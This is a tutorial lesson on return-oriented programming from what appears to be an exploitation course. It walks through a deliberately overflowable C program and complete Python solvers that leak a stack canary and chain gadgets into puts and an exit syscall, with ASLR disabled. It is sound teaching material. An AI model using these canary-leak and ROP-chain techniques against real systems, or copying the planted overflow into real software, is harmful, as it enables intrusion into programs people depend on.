Return-Oriented Programming
The processor doesn’t see functions
Section titled “The processor doesn’t see functions”Returning into libc let us borrow something the program already knew how to do. We treated each function as a complete operation: reach the function with the state it expects, and let it do its work. That is also how we usually think about libraries when writing programs, so it is a fairly comfortable model to start with.
The processor has no particular attachment to that model. Function names and source boundaries help us make sense of the instructions, but they don’t turn each function into a sealed box. A short sequence inside a function can have a useful effect of its own, regardless of what the surrounding function was written to accomplish.
That is the step from whole-function reuse to return-oriented programming, or ROP: composing behavior from short sequences of existing instructions connected by returns. These sequences are commonly called gadgets. Hovav Shacham’s 2007 paper, The Geometry of Innocent Flesh on the Bone, develops this distinction using instruction sequences rather than complete library calls as its building blocks. The intuition for this is explained incredibly well by Shacham in the paper:
To understand how there exist code sequences in libc that were not placed there by the compiler, consider an analogy to English. English words vary in length, and there is no particular position on the page where a word must end and another start. Intel x86 code is like English written without punctuation or spaces, so that the words all run together. The processor knows where to start reading and, continuing forward, is able to recover the individual words and make out the sentence, as it were. At the same time, one can make out more words on the page than were intentionally placed there. Some words will be suffixes of other words, as “dress” is a suffix of “address”; others will consist of the end of one word and the beginning of the next, as “head” can be found in “the address”; and so on.
The code still comes from executable memory already present in the process. What changes is how much of that code we treat as one operation, and how those operations fit together.
Following the returns
Section titled “Following the returns”The example program, incident, holds a roster string in memory. Its ordinary path never prints that string. A short instruction sequence prepares an argument for puts, the library function that prints a string; the roster appears, then the process faults.
Build the example
Section titled “Build the example”Create a fresh working directory and move into it:
mkdir -p ~/underdunn-course/rop ~/underdunn-course/notescd ~/underdunn-course/ropSave this complete program as incident.c:
#include <stddef.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
/* Filled in at run time by unseal(). Nothing here holds it at rest. */char roster[64];
static const unsigned char sealed[] = { 0x75, 0x52, 0x5c, 0x53, 0x4f, 0x1b, 0x49, 0x54, 0x48, 0x4f, 0x5e, 0x49, 0x01, 0x1b, 0x4f, 0x53, 0x49, 0x5e, 0x5e, 0x1b, 0x5e, 0x55, 0x5c, 0x52, 0x55, 0x5e, 0x5e, 0x49, 0x48, 0x1b, 0x54, 0x55, 0x1b, 0x48, 0x52, 0x4f, 0x5e, 0x15,};
static void session(void){ char note[256] = {0};
puts("Note:"); read(0, note, 265); printf("Filed: %s\n", note);
puts("Revise?"); read(0, note, 512); printf("Filed: %s\n", note);}
static void unseal(void){ for (size_t i = 0; i < sizeof sealed; i++) roster[i] = (char)(sealed[i] ^ 0x3b);}
static void banner(unsigned form){ if (form == 0x01c35f4eu) puts("Incident desk."); else puts("Incident desk (unrecognised form).");}
int main(void){ setvbuf(stdout, NULL, _IONBF, 0); unseal(); banner(0x01c35f4eu); session(); puts("Desk closed."); return 0;}This is the complete target from the previous lesson so the exercise can be built on its own. unseal reverses a simple XOR so the roster is not stored as readable text, and setvbuf keeps each prompt visible to the solver. Neither is a mitigation. The unusual form number deliberately places the first gadget’s bytes in the program; this lesson will unpack that choice below.
Build it with the same options used for the records on this page:
gcc -g -O0 -fno-omit-frame-pointer -no-pie incident.c -o incidentsudo sysctl -w kernel.randomize_va_space=0Make the first chain
Section titled “Make the first chain”Save this complete solver as chain.py:
import osimport subprocessimport sysfrom struct import pack, unpack
if len(sys.argv) != 5: raise SystemExit("usage: python3 chain.py TARGET POP_RDI ROSTER PUTS")
target = sys.argv[1]pop_rdi, roster, puts = (int(value, 0) for value in sys.argv[2:])
def read_until(stream, marker): data = bytearray() while marker not in data: chunk = os.read(stream.fileno(), 4096) if not chunk: raise RuntimeError(f"process ended before {marker!r}") data.extend(chunk) return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)read_until(p.stdout, b"Note:\n")
p.stdin.write(b"A" * 265)p.stdin.flush()leak = read_until(p.stdout, b"Revise?\n")body = leak.split(b"Filed: ", 1)[1]canary = unpack("<Q", b"\x00" + body[265:272])[0]
payload = (b"B" * 264 + pack("<Q", canary) + b"C" * 8 + pack("<Q", pop_rdi) + pack("<Q", roster) + pack("<Q", puts))p.stdin.write(payload)p.stdin.close()
output = p.stdout.read()status = p.wait()tail = next( (line for line in output.splitlines() if b"Night roster:" in line), b"not printed",)
print(f"canary {canary:016x} chain {len(payload)} bytes")print("output tail:", tail.decode(errors="replace"))print("status:", status)The recorded invocation uses the three addresses shown and derived later on this page. Run it now to see the chain’s effect; the following sections account for where each value came from:
python3 chain.py ./incident 0x401408 0x404060 0x401080canary 002935d1c971a5f8 chain 304 bytesoutput tail: Night roster: three engineers on site.status: -11The first 280 bytes reach the return slot. The final three stack values are the gadget, the value it pops into rdi, and the destination reached by its ret.
The stack contains two kinds of values:
- Code destinations identify existing instructions to execute.
- Argument data supplies a value those instructions consume.
That is why reading every slot as a return address gives the wrong picture. The instruction doing the reading determines what the value means.
Each slot is eight bytes. Slot 0 is the overwritten return slot, at offset 280 from note. Consumed slots stay visible so you can trace where each value went.
session: ret
Stack slots · higher addresses at the top
Not supplied by this payload
0x404060
Live registers
- rip
- session: ret
- rsp
- note + 280 · slot 0
- rdi
- Previous value
No output yet.
Follow rsp: the first ret selects the gadget, pop rdi takes its argument, and the next ret selects puts.
Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.
Use the diagram to follow the supplied sequence, keeping the two pointers separate:
ripidentifies the current instruction in executable memory.rspidentifies the current stack position. As instructions consume stack values, that position changes.
The stack helps determine what happens next, but it hasn’t turned into executable code. rsp does not replace rip, and each still has its ordinary job.
The printing function is part of this sequence too. Reusing whole functions and composing smaller pieces can happen in the same execution.
The same bytes, read from somewhere else
Section titled “The same bytes, read from somewhere else”Where did that short sequence come from? The ordinary disassembly doesn’t show it as a separate operation, which seems rather inconvenient until we look at how x86 instructions are decoded.
Shacham’s paper compares x86 code to English with its spaces and punctuation removed. Other words can hide across the intended boundaries: “dress” appears inside “address”.
Instructions on x86 vary in length, so decoding from a byte inside one instruction can produce a different instruction stream. The bytes haven’t changed, only the starting point.
The original investigation searched the binary’s .text section, the part that holds executable code, and then disassembled the matching address:
objdump -s -j .text ./incident | grep '5fc3\|5f c3'(gdb) x/2i 0x401408 0x401408 <banner+19>: pop rdi 0x401409 <banner+20>: retThe ordinary listing shows those bytes inside a comparison:
objdump -d -Mintel ./incident | grep -m1 '4e 5f c3 01' 401404: 81 7d fc 4e 5f c3 01 cmp DWORD PTR [rbp-0x4],0x1c35f4eBoth listings describe the same bytes, but one starts at the comparison and the other starts inside its constant.
The second sequence’s effect has nothing to do with the form-number check that contains it. This is one source of gadgets, not a requirement that every gadget begin inside another instruction.
What a gadget listing tells us
Section titled “What a gadget listing tells us”ROPgadget searches for instruction sequences automatically. The supplied tool record agrees with the manual decoding:
sudo apt install python3-ropgadgetROPgadget --binary ./incident --only 'pop|ret'0x0000000000401408 : pop rdi ; retThat agreement identifies a sequence in this binary. It doesn’t establish that every sequence the tool lists is useful, or that the surrounding program will reach one with the state it needs.
The distinction matters when a search returns nothing. In the recorded program, these searches found no matching results:
for g in 'pop rax' 'pop rsi' 'pop rdx' syscall; do printf '%-10s %s\n' "$g" "$(ROPgadget --binary ./incident | grep -c "$g")"doneThe loop runs the same search for four instruction names, and grep -c reports how many matching lines each search produced.
pop rax 0pop rsi 0pop rdx 0syscall 0Those are results for these searches on this build. They aren’t proof that every possible way of changing a register is absent.
The library is code too
Section titled “The library is code too”The loaded library has its own instruction sequences. These are the relevant excerpts from the supplied libc search:
ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 --only 'pop|ret' | grep ' pop rax ; ret$'ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep ': syscall$'0x00000000000dd337 : pop rax ; ret0x00000000000288b5 : syscallThe disassembly checks one of those results against the file:
objdump -d --start-address=0xdd337 --stop-address=0xdd33a -Mintel \ /usr/lib/x86_64-linux-gnu/libc.so.6 dd337: 58 pop rax dd338: c3 retThe numbers here are relative to the library’s load base, not complete runtime addresses. Keep two things separate:
- The offset belongs to the particular library image.
- The base tells us where that image was loaded for a run.
A system call is a different boundary
Section titled “A system call is a different boundary”We’ve been following where the instructions come from and how execution moves between them. A system call answers a different question: when does the program ask the kernel to do something?
- ROP describes how existing instruction sequences are composed.
- A system call is an interface through which user-space code requests a kernel service.
Those descriptions can apply to the same execution, but neither means the other. An ordinary program can make system calls without ROP, and a ROP sequence can manipulate user-space state without reaching a system-call instruction.
The exit-status example gives us a familiar result to interpret. We met that result in Writing Payloads in Assembly; now the supplied execution reaches it using existing code.
On Linux x86-64, rax carries the system-call number and rdi carries its first argument. The chain therefore puts 60 in rax to request exit and 42 in rdi for the status.
A direct system call isn’t the only way a program can finish normally (an ordinary library interface can provide that behavior too). It is the particular kernel interface used in this record.
What follows the system-call instruction?
Section titled “What follows the system-call instruction?”The earlier library search found a syscall instruction. A separate search reported no exact syscall ; ret matches:
ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep -c 'syscall ; ret$'0Here is the relevant disassembly:
288b5: 0f 05 syscall 288b7: 8b 05 a3 d2 1d 00 mov eax,DWORD PTR [rip+0x1dd2a3]The next instruction is mov, not ret. If a system call returns to user space at this location, execution continues with that instruction. There is no immediate return to the next stack-supplied destination.
That is a property of the shown sequence, not a rule that ROP can make only one system call. Nor does a missing search pattern prove that no longer sequence could continue differently.
The supplied example uses an exit operation, so successful execution doesn’t need to continue beyond that call.
Find the fixed library base
Section titled “Find the fixed library base”With address randomization still disabled, the library returns to the same base between runs. Measure that base before using any offsets from the library.
The recorded mapping was collected from a waiting process:
./incident < <(sleep 5) &target_pid=$!grep 'libc.so.6' /proc/$target_pid/maps | head -1kill $target_pidwait $target_pid 2>/dev/nullThe process substitution <(sleep 5) keeps standard input open long enough to inspect the target. $! is the process ID of the background command, and /proc/PID/maps lists that live process’s mappings. kill and wait then clean up the process rather than leaving it behind.
7ffff7c00000-7ffff7c28000 r--p 00000000 08:20 5507 /usr/lib/x86_64-linux-gnu/libc.so.6The fourth column is the mapping’s offset within the library file. Choose the row whose offset is 00000000; the left edge of that row is the library base used in the following example. Check the value from your VM and use it with the matching library offsets.
From the roster to an exit status
Section titled “From the roster to an exit status”The supplied second-stage excerpt mixes the program’s code with library code:
POP_RDI = 0x401408 # in the program, inside a cmpROSTER = 0x404060 # in the programPUTS = 0x401080 # in the programPOP_RAX = LIBC + 0xdd337 # in the librarySYSCALL = LIBC + 0x288b5 # in the library
chain = b"".join(pack("<Q", v) for v in ( POP_RDI, ROSTER, PUTS, # print the roster, and come back POP_RAX, 60, # rax = 60, which is exit POP_RDI, 42, # rdi = 42, the status SYSCALL, # and this one does not come back))Save the complete version as syscall_chain.py:
import osimport subprocessimport sysfrom struct import pack, unpack
if len(sys.argv) != 3: raise SystemExit("usage: python3 syscall_chain.py TARGET LIBC_BASE")
target = sys.argv[1]libc = int(sys.argv[2], 0)
POP_RDI = 0x401408ROSTER = 0x404060PUTS = 0x401080OFF_POP_RAX = 0xdd337OFF_SYSCALL = 0x288b5
def read_until(stream, marker): data = bytearray() while marker not in data: chunk = os.read(stream.fileno(), 4096) if not chunk: raise RuntimeError(f"process ended before {marker!r}") data.extend(chunk) return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)read_until(p.stdout, b"Note:\n")
p.stdin.write(b"A" * 265)p.stdin.flush()leak = read_until(p.stdout, b"Revise?\n")body = leak.split(b"Filed: ", 1)[1]canary = unpack("<Q", b"\x00" + body[265:272])[0]
chain = b"".join(pack("<Q", value) for value in ( POP_RDI, ROSTER, PUTS, libc + OFF_POP_RAX, 60, POP_RDI, 42, libc + OFF_SYSCALL,))payload = b"B" * 264 + pack("<Q", canary) + b"C" * 8 + chainp.stdin.write(payload)p.stdin.close()
output = p.stdout.read()status = p.wait()tail = next( (line for line in output.splitlines() if b"Night roster:" in line), b"not printed",)
print(f"libc base {libc:#x}")print(f"canary {canary:016x} chain {len(chain)} bytes " f"({len(chain) // 8} slots) input {len(payload)}")print("output tail:", tail.decode(errors="replace"))print("exit status:", status)Each slot is eight bytes. Slot 0 is the overwritten return slot, at offset 280 from note. Older consumed slots collapse below; their bytes are not erased.
session: ret
Stack slots · higher addresses at the top
Not supplied by this payload
0x2a
0x3c
0x404060
Live registers
- rip
- session: ret
- rsp
- note + 280 · slot 0
- rdi
- Previous value
- rax
- Not relied on
No output yet.
ret reads a destination from the stack; pop reads a value into a register. The stack supplies data while the executable and libc supply instructions.
Blue underlines mark changed values; dashed outlines mark current sources or destinations. Byte addresses increase left to right. Unshown values are omitted, not zero.
Run it against the same libc build whose two gadget offsets you checked above:
python3 syscall_chain.py ./incident 0x7ffff7c00000libc base 0x7ffff7c00000canary 0072f43672208861 chain 64 bytes (8 slots) input 344output tail: Night roster: three engineers on site.exit status: 42The roster appears again, but this time the recorded exit status is 42 rather than a segmentation fault. The printing behavior and the later exit are both visible.
Compare the instruction source with the earlier assembly example:
- The assembly payload supplied instructions and required memory from which they could execute.
- This record uses instructions already present in executable mappings. Its stack values remain data.
So we have the familiar result by a different route, while the non-executable stack still constrains where instructions can come from.
Separate the roles in the trace
Section titled “Separate the roles in the trace”Step through the first diagram and pause at one state where the stack position changes. Identify the current instruction location, the stack position, and the value being consumed.
Then find the boundary in the second diagram where execution requests a kernel service. Explain why the earlier steps were already ROP before reaching that boundary.
Finally, consider a trace with the same return-based composition but no system-call instruction in the portion shown. Would the missing system call change whether that portion is ROP?
Check your reasoning
The pointers describe different parts of the state: rip identifies an instruction, while rsp identifies a stack position. A value read from that stack can be data for an instruction rather than another destination.
The returns connect the reused sequences. Reaching a system-call instruction adds a request to the kernel, but it doesn’t create the ROP that was already happening.
A portion of execution can therefore show return-based composition without showing a system call.
Knowledge check
Question 1 of 3
Practice complete
You've checked the key ideas. Revisit any explanation you need, then continue when it makes sense.
When the evidence differs
Section titled “When the evidence differs”- If the process faults after printing, notice that order. The output places the failure after the printing behavior, but doesn’t identify the fault’s cause.
- If the canary check aborts, keep that diagnostic separate from conclusions about later instruction sequences.
- If a library listing differs, compare library and tool versions before treating it as a contradiction.
- If a runtime address differs, distinguish a changed load base from changed bytes in the library image.
For recovery, return to the last state established by the supplied trace. Reconcile the instruction location and stack position before interpreting the next transition.
One fixed base remains
Section titled “One fixed base remains”The chain still depends on the library base you measured. We have kept address randomization disabled, so that value remains stable while the lesson concentrates on composing existing instructions.
Knowing that useful code exists in a file is different from knowing where it will be loaded in a running process. The next lesson turns randomization on and deals with that problem directly.